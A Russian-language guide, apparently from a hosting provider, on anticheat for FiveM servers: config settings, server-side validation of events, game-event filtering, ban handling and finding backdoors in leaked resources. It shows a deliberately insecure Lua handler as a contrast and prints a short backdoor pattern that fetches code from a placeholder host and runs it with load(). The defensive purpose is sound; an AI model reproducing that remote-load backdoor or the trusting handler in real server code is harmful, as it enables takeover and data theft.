Античит для FiveM: что действительно работает

Большая часть вреда, который читеры наносят серверу FiveM, не требует хитрого чита. Для неё нужно серверное событие, которое доверяет всему, что присылает клиент, - дай мне денег, дай мне этот предмет, поставь мне работу, - и сервер, который позволяет клиентам спавнить любые сущности. Сначала закройте эти две вещи: задайте sv_entityLockdown, проверяйте каждое серверное событие на сервере и фильтруйте игровые события, которыми злоупотребляют чит-меню. Платный античит - это слой обнаружения поверх всего этого; на оживлённом публичном сервере он стоит своих денег, а на небезопасном бесполезен. В этом руководстве слои защиты разобраны в том порядке, который даёт больше всего защиты за наименьшие усилия, а также что может и чего не может каждая категория античитов и как сделать так, чтобы баны работали.

Где читы действительно вредят#

Полезно отделить то, что чит-меню может сделать само по себе, от того, что ему позволяет ваш сервер.

На клиенте чит может всё, что может игра: телепортироваться, летать, видеть сквозь стены, наводиться на игрока, локально спавнить машины и пропы. Часть этого влияет только на экран самого читера. Другая часть - заспавненные сущности, взрывы, прикреплённые пропы - отправляется на сервер как игровые события и показывается всем, если сервер это не отклонит.

На сервере чит может вызвать только то, что открывают ваши ресурсы. Каждый обработчик RegisterNetEvent - это функция, которую любой подключённый клиент может вызвать с любыми аргументами и с любой частотой. Если у ресурса есть серверное событие, которое выплачивает награду за работу и ничего не проверяет, читер вызовет его тысячу раз, и за минуту от вашей экономики ничего не останется. Ни один античит не может полностью это исправить, потому что с точки зрения сервера такой вызов выглядит ровно так же, как законный.

Слой 1: строки конфига#

Они ничего не стоят и закрывают самые широкие двери:

set sv_entityLockdown "relaxed"sv_scriptHookAllowed 0sv_pureLevel 1set sv_endpointPrivacy true

sv_entityLockdown - самая важная из них. По умолчанию стоит inactive, при котором любой клиент может создать любую сущность. relaxed блокирует сущности, созданные клиентскими скриптами, - а именно ими пользуются чит-меню, - и не трогает фоновый трафик. strict блокирует все сущности, созданные клиентом, так что каждую машину должен создавать сервер. Это требует OneSync и сломает ресурсы, которые спавнят что-то на клиенте, - а такие ресурсы в любом случае стоит обновить. Режимы и шаблон создания сущностей на сервере, который с ними работает, описаны в статье OneSync и слоты игроков.

sv_scriptHookAllowed 0 отклоняет клиентов с меню на ScriptHookV. sv_pureLevel отклоняет изменённые файлы игры: 1 блокирует большинство из них, 2 блокирует ещё и графические моды и отвернёт ни в чём не повинных игроков с визуальным паком. Это фильтр против ленивых читов, а не античит. sv_endpointPrivacy убирает IP-адреса игроков из публичного вывода, что важно, когда кто-то хочет атаковать стримера на вашем сервере.

В свежих сборках сервера есть также convar, которые определяют, какие сетевые запросы и игровые функции клиенты могут вызывать у других, например sv_filterRequestControl, ограничивающий захват клиентами контроля над сущностями, принадлежащими другим игрокам. Доступные уровни менялись от сборки к сборке, поэтому прежде чем что-то задавать, прочитайте актуальную документацию Cfx.re. Остальной файл разобран в статье о server.cfg в FiveM.

Слой 2: серверные события, которые проверяют входные данные#

Именно здесь происходит большая часть реального ущерба, и здесь вас не спасёт никакой продукт. Правило простое: что произошло, решает сервер, клиент только просит.

Типичный уязвимый обработчик:

-- server side: trusts everything the client sendsRegisterNetEvent("fishing:sell", function(amount, price)    local xPlayer = ESX.GetPlayerFromId(source)    xPlayer.addMoney(amount * price)end)

Читер вызывает fishing:sell с amount = 100000. Тот же обработчик, написанный правильно:

local lastSell = {}RegisterNetEvent("fishing:sell", function()    local src = source    local xPlayer = ESX.GetPlayerFromId(src)    if not xPlayer then return end    -- rate limit: one sale per 5 seconds per player    local now = os.time()    if lastSell[src] and now - lastSell[src] < 5 then return end    lastSell[src] = now    -- must be standing at the fish market    local coords = GetEntityCoords(GetPlayerPed(src))    if #(coords - vector3(-1845.0, -1195.0, 14.3)) > 10.0 then return end    -- the server counts the fish and sets the price    local fish = xPlayer.getInventoryItem("fish").count    if fish < 1 then return end    xPlayer.removeInventoryItem("fish", fish)    xPlayer.addMoney(fish * Config.FishPrice)end)

Эти принципы применимы к каждому событию:

• Используйте `source`, а не ID игрока, переданный аргументом. source задаёт сервер, и подделать его нельзя. Аргумент с указанием целевого игрока - можно.
• Считайте суммы на сервере. Клиент говорит «хочу продать свою рыбу»; сервер считает рыбу и знает цену.
• Проверяйте позицию. С OneSync GetEntityCoords(GetPlayerPed(source)) работает на сервере. Событие, которое имеет смысл только в определённом месте, должно проверять, что игрок там.
• Проверяйте состояние. Работа, статус на смене, владение предметом, был ли этап работы, за который выдаётся награда, действительно начат на сервере.
• Ограничивайте частоту. Запоминайте, когда каждый игрок в последний раз вызывал событие.
• Логируйте отказы. Отклонённый вызов с невозможными аргументами - это читер, а строка в логе - доказательство.

«Токены» событий и случайные имена событий, которые некоторые ресурсы продают как защиту, - это обфускация. Чит, читающий память клиента, прочитает и токен. Они немного повышают трудозатраты и не заменяют проверку.

Работа состоит в аудите ресурсов, которые писали не вы. Прочитайте каждый RegisterNetEvent на серверной стороне каждого ресурса и спросите себя, что будет, если клиент вызовет его с ерундой. Ресурсы фреймворков от хорошо поддерживаемых проектов обычно в порядке; проблемы живут в бесплатном скрипте работы с форума. Какие экосистемы относятся к этому серьёзно, описано в статье о выборе фреймворка.

Слой 3: фильтрация игровых событий#

Некоторые действия - это не события ваших ресурсов, а игровые события, которые сервер пересылает между клиентами: взрывы, урон, смена оружия, эффекты частиц, создание сущностей. FXServer позволяет серверным скриптам их просматривать и отменять.

-- server sideAddEventHandler("explosionEvent", function(sender, ev)    -- block every explosion type not caused by normal gameplay you allow    if not AllowedExplosions[ev.explosionType] then        CancelEvent()        print(("blocked explosion type %d from %s"):format(ev.explosionType, sender))    endend)AddEventHandler("entityCreating", function(handle)    if BlockedModels[GetEntityModel(handle)] then        CancelEvent()    endend)

У каждого из этих событий есть законные применения в обычной игре, поэтому работа состоит в составлении разрешающих списков, а не в блокировке события целиком. Ролевой сервер без работы со взрывчаткой может сразу заблокировать большинство типов взрывов. У giveWeaponEvent от клиента другому игроку почти нет законных применений на сервере с фреймворком, где оружие берётся из инвентаря. Неделю логируйте то, что блокируете, прежде чем превращать это в кики, иначе забаните собственных механиков.

Слой 4: обнаружение и выбор античита#

Клиентские читы - aimbot, ESP, noclip, меню, которые трогают только игру самого читера, - можно поймать только на клиенте. У клиента Cfx.re есть собственная защита, и он выдаёт глобальные баны за известные читы; это вы получаете бесплатно и настроить не можете. Дальше варианты такие:

Бесплатные античиты-ресурсы. В основном это списки известных имён чит-событий и запрещённых моделей плюс немного серверных проверок. Полезны как отправная точка; их легко обойти, потому что их логика публична.

Платные античиты. Продукты вроде FiveGuard, ElectronAC и WaveShield сочетают клиентский компонент с серверной эвристикой и поддерживаются против актуальных чит-меню. Рынок быстро меняется, названия появляются и исчезают, поэтому оценивайте их по этим пунктам, а не только по репутации:

• Ложные срабатывания. Спросите, как проверяются обнаружения перед баном. Античит, который банит постоянного игрока за скачок пинга, обходится вам дороже, чем читер.
• Производительность. Измерьте её через resmon 1 и серверный профайлер после установки. Некоторые тратят больше времени кадра клиента, чем всё остальное вместе взятое. Как это делать, показано в статье о производительности сервера FiveM.
• Доверие. Античит работает с теми же правами, что и любой другой ресурс на вашем сервере, и обычно находится под escrow, так что прочитать его нельзя. Вы доверяете поставщику учётные данные своей базы данных и данные своих игроков.
• Поддержка и долговечность. Платный продукт, автор которого исчез, перестаёт обнаруживать новые меню за считанные недели.

Запускайте один античит, а не два. Два продукта, перехватывающих одни и те же события, воюют друг с другом и удваивают ложные срабатывания.

Слой 5: баны, которые держатся#

Бан по одному идентификатору обходится новым аккаунтом. txAdmin записывает каждый идентификатор, с которым подключается игрок, - license, discord, steam, если задан ключ Steam Web API, xbl, live, IP, - плюс аппаратные токены, которые FXServer открывает через GetPlayerToken, и его баны срабатывают по всем ним. Используйте баны txAdmin или античит, который в них передаёт данные, а не собственную таблицу банов фреймворка, где хранится только лицензия.

Два практических момента. Указывайте конкретные причины банов и прикладывайте доказательства (клип, строку лога), потому что апелляции - часть модерации, а статья о правилах сервера, модерации и персонале - это та сторона вопроса, что касается людей. И ограничьте круг тех, кто может банить: персонал, который может банить, может и разбанить своих друзей. Давайте модераторам те права в txAdmin, которые им нужны, и не больше - тот же принцип, что и субпользователи и минимальные привилегии на стороне панели.

Проблема бэкдоров#

Самый вредный «читер» на сервере FiveM часто уже установлен. Слитые платные ресурсы - скачанные с сайтов, которые распространяют скрипты из-под escrow, - регулярно несут бэкдоры: несколько строк, которые загружают код с удалённого адреса и выполняют его с полными правами сервера. Шаблон выглядит так:

PerformHttpRequest("https://example.invalid/x", function(_, body)    load(body)()end)

Ищите в каждом ресурсе PerformHttpRequest в сочетании с load, а также длинные обфусцированные строки в файлах, где им незачем быть. На сервере с бэкдором незнакомцам могут выдать админку, слить базу данных или украсть лицензионный ключ, и ни один античит этого не увидит, потому что это ресурс, который вы запустили сами. Общий метод описан в статье о том, как держать модифицированный сервер в чистоте, а если вы нашли бэкдор, статья о том, что делать, если сервер взломали даёт порядок действий: изолировать, сменить все учётные данные, восстановить, затем найти дверь.

Логирование, доказательства и план на первую неделю#

Защиту, работу которой вы не видите, вы отключите, как только пожалуется первый постоянный игрок. Каждый описанный выше слой должен оставлять след, который потом можно прочитать.

• Логируйте отклонённые серверные события. Когда проверка не проходит, записывайте игрока, событие, аргументы и причину. Одной строки на отказ достаточно. Игрок с тремя отклонёнными событиями продажи за минуту, каждое из которых заявляет сто тысяч рыбин, в дальнейшем расследовании не нуждается.
• Логируйте заблокированные игровые события. Взрывы, создание сущностей и выдачу оружия, которые отменили ваши фильтры, вместе с отправителем. Прочитайте первую неделю таких записей, прежде чем превращать что-либо из них в автоматические кики.
• Отправляйте серьёзное туда, куда люди смотрят. Обычный выбор - канал Discord для персонала с вебхуком; механика описана в статье о вебхуках Discord для статуса сервера. Отправляйте туда только события, которым нужен человек, иначе персонал за неделю заглушит канал.
• Сохраняйте вывод консоли. txAdmin ведёт журнал действий админов и историю игроков, а консоль сервера показывает, что выводили ресурсы. Когда через две недели придёт апелляция, логи - ваша единственная память; о том, какие из них хранить, - статья о логах, которые стоит хранить.

Доказательства защищают и ваш персонал. Бан, подкреплённый строкой лога и временной меткой, - это решение, которое может проверить кто угодно. Бан, подкреплённый словами «он явно читерил», - это спор.

Чек-лист на первую неделю для нового сервера

1. Задайте sv_entityLockdown равным relaxed, sv_scriptHookAllowed 0 и включите OneSync, если он ещё не включён.
2. Составьте список всех серверных событий во всех ресурсах, которые писали не вы. Отметьте те, что выдают деньги, предметы, работу или права.
3. Исправьте или замените каждое отмеченное событие, которое берёт сумму, цель или цену у клиента.
4. Добавьте обработчики игровых событий для взрывов и выдачи оружия, пока только с логированием.
5. Прочитайте логи за неделю, затем превратите очевидные случаи в блокировки.
6. Определитесь с античитом для обнаружения, измерьте его стоимость и оставьте его, только если цифры приемлемы.
7. Убедитесь, что баны идут через txAdmin, чтобы они охватывали все идентификаторы.

После эксплойта: откат#

Когда кто-то всё-таки получает деньги или предметы через дыру, сервер продолжает работать, и ущерб расползается через обмены. Самое чистое восстановление - откат базы данных на момент до эксплойта плюс исправление события. Это работает, только если у вас есть свежий backup и вы знаете, что он восстанавливается.

На RE:NODE бэкапы делаются по запросу или по расписанию из панели, хранятся вне машины и восстанавливаются одной кнопкой; backup можно заблокировать, чтобы ротация не удалила копию, сделанную до инцидента. Субпользователям можно дать доступ только к консоли или только к файлам, у каждого сервера свои учётные данные SFTP, а для каждого сервера ведётся журнал активности, что помогает, когда вопрос в том, кто что изменил. Атаки на саму сеть - это совсем другое дело, чем читерство: статья о том, что мы делаем с атаками честно рассказывает, что ловит и чего не ловит фильтрация на стороне провайдера.

FAQ#

Какой античит для FiveM лучший?

Однозначного ответа нет, и рейтинг меняется вслед за разработчиками читов. Лучшая защита - entity lockdown плюс серверные события, проверяющие входные данные. Поверх этого выбирайте поддерживаемый платный античит по тому, как он обращается с ложными срабатываниями, сколько стоит по производительности и какая у него поддержка, и проверьте его на своём сервере, прежде чем ему доверять.

Останавливает ли sv_entityLockdown всех читеров?

Нет. Он не даёт клиентам создавать сущности, что убирает спавн машин и пропов - самое заметное злоупотребление. С aimbot, телепортами и серверными событиями, раздающими деньги, он ничего не делает.

Могут ли читеры выдать себе деньги на моём сервере?

Только если им это позволяет какой-то ресурс. Деньги приходят из серверных событий; если одно из них принимает сумму от клиента без проверки, читеры его найдут. Проведите аудит серверной части каждого ресурса, который что-то выплачивает.

Достаточно ли токенов событий, чтобы защитить серверные события?

Нет. Они затрудняют вызов событий вручную, но чит, читающий память клиента, может прочитать и токен. Безопасным событие делает проверка на сервере.

Как не дать забаненным читерам вернуться?

Баньте по всем идентификаторам и аппаратным токенам - txAdmin делает это по умолчанию. Ничто не делает обход невозможным, но баны по множеству идентификаторов делают его медленным и дорогим.

Может ли античит замедлить мой сервер?

Да. После установки измерьте его через resmon на клиенте и профайлер на сервере. Продукт, который добавляет заметное время кадра каждому клиенту, защищает сервер за счёт игроков.